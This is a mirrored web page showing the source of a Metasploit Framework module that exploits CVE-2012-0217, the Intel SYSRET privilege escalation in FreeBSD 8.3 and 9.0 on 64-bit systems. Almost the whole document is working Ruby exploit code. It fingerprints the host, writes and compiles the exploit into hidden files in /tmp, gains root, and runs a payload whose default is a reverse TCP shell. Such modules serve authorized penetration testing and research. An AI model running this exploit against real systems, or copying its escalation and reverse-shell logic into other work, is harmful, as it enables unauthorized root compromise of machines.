Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/freebsd/local/intel_sysret_priv_esc.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = GreatRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Msf::Post::File
11
include Msf::Post::Unix
12
include Msf::Exploit::EXE
13
include Msf::Exploit::FileDropper
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'FreeBSD Intel SYSRET Privilege Escalation',
20
'Description' => %q{
21
This module exploits a vulnerability in the FreeBSD kernel,
22
when running on 64-bit Intel processors.
23
24
By design, 64-bit processors following the X86-64 specification will
25
trigger a general protection fault (GPF) when executing a SYSRET
26
instruction with a non-canonical address in the RCX register.
27
28
However, Intel processors check for a non-canonical address prior to
29
dropping privileges, causing a GPF in privileged mode. As a result,
30
the current userland RSP stack pointer is restored and executed,
31
resulting in privileged code execution.
32
33
This module has been tested successfully on:
34
35
FreeBSD 8.3-RELEASE (amd64); and
36
FreeBSD 9.0-RELEASE (amd64).
37
},
38
'License' => MSF_LICENSE,
39
'Author' => [
40
'Rafal Wojtczuk', # Discovery
41
'John Baldwin', # Discovery
42
'iZsh', # Exploit
43
'bcoles' # Metasploit
44
],
45
'DisclosureDate' => '2012-06-12',
46
'Platform' => ['bsd'], # FreeBSD
47
'Arch' => [ARCH_X64],
48
'SessionTypes' => ['shell'],
49
'References' => [
50
['BID', '53856'],
51
['CVE', '2012-0217'],
52
['EDB', '28718'],
53
['PACKETSTORM', '113584'],
54
['URL', 'https://www.freebsd.org/security/patches/SA-12:04/sysret.patch'],
55
['URL', 'https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/'],
56
['URL', 'https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c'],
57
['URL', 'https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/'],
58
['URL', 'http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc'],
59
['URL', 'https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation']
60
],
61
'Targets' => [
62
['Automatic', {}]
63
],
64
'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },
65
'DefaultTarget' => 0,
66
'Notes' => {
67
'Stability' => [ CRASH_OS_RESTARTS, ],
68
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK, ],
69
'Reliability' => [ REPEATABLE_SESSION, ]
70
}
71
)
72
)
73
register_advanced_options([
74
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
75
])
76
end
77
78
def base_dir
79
datastore['WritableDir'].to_s
80
end
81
82
def upload(path, data)
83
print_status("Writing '#{path}' (#{data.size} bytes) ...")
84
rm_f(path)
85
write_file(path, data)
86
register_file_for_cleanup(path)
87
end
88
89
def upload_and_compile(path, data, _cc_args = '')
90
upload("#{path}.c", data)
91
92
cc_cmd = "cc -o #{path} #{path}.c"
93
if session.type.eql?('shell')
94
cc_cmd = "PATH=$PATH:/usr/bin/ #{cc_cmd}"
95
end
96
output = cmd_exec(cc_cmd)
97
98
unless output.blank?
99
print_error(output)
100
fail_with(Failure::Unknown, "#{path}.c failed to compile")
101
end
102
103
register_file_for_cleanup(path)
104
chmod(path)
105
end
106
107
def strip_comments(c_code)
108
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
109
end
110
111
def check
112
kernel_release = cmd_exec('uname -r').to_s
113
unless kernel_release =~ /^(8\.3|9\.0)-RELEASE/
114
return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")
115
end
116
117
vprint_good("FreeBSD version #{kernel_release} appears vulnerable")
118
119
kernel_arch = cmd_exec('uname -m').to_s
120
unless kernel_arch.include?('64')
121
return CheckCode::Safe("System architecture #{kernel_arch} is not supported")
122
end
123
124
vprint_good("System architecture #{kernel_arch} is supported")
125
126
hw_model = cmd_exec('/sbin/sysctl hw.model').to_s
127
unless hw_model.downcase.include?('intel')
128
return CheckCode::Safe("#{hw_model} is not vulnerable")
129
end
130
131
vprint_good("#{hw_model} is vulnerable")
132
133
CheckCode::Appears
134
end
135
136
def exploit
137
if !datastore['ForceExploit'] && is_root?
138
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
139
end
140
141
unless writable?(base_dir)
142
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
143
end
144
145
# Upload and compile exploit executable
146
executable_name = ".#{rand_text_alphanumeric(5..10)}"
147
executable_path = "#{base_dir}/#{executable_name}"
148
upload_and_compile(executable_path, strip_comments(exploit_data('cve-2012-0217', 'sysret.c')), '-Wall')
149
150
# Upload payload executable
151
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
152
upload_and_chmodx(payload_path, generate_payload_exe)
153
154
# Launch exploit
155
print_status('Launching exploit...')
156
output = cmd_exec(executable_path)
157
output.each_line { |line| vprint_status line.chomp }
158
159
unless is_root?
160
fail_with(Failure::Unknown, 'Exploitation failed')
161
end
162
print_good('Success! Executing payload...')
163
164
cmd_exec("#{payload_path} & echo ")
165
end
166
end
167
168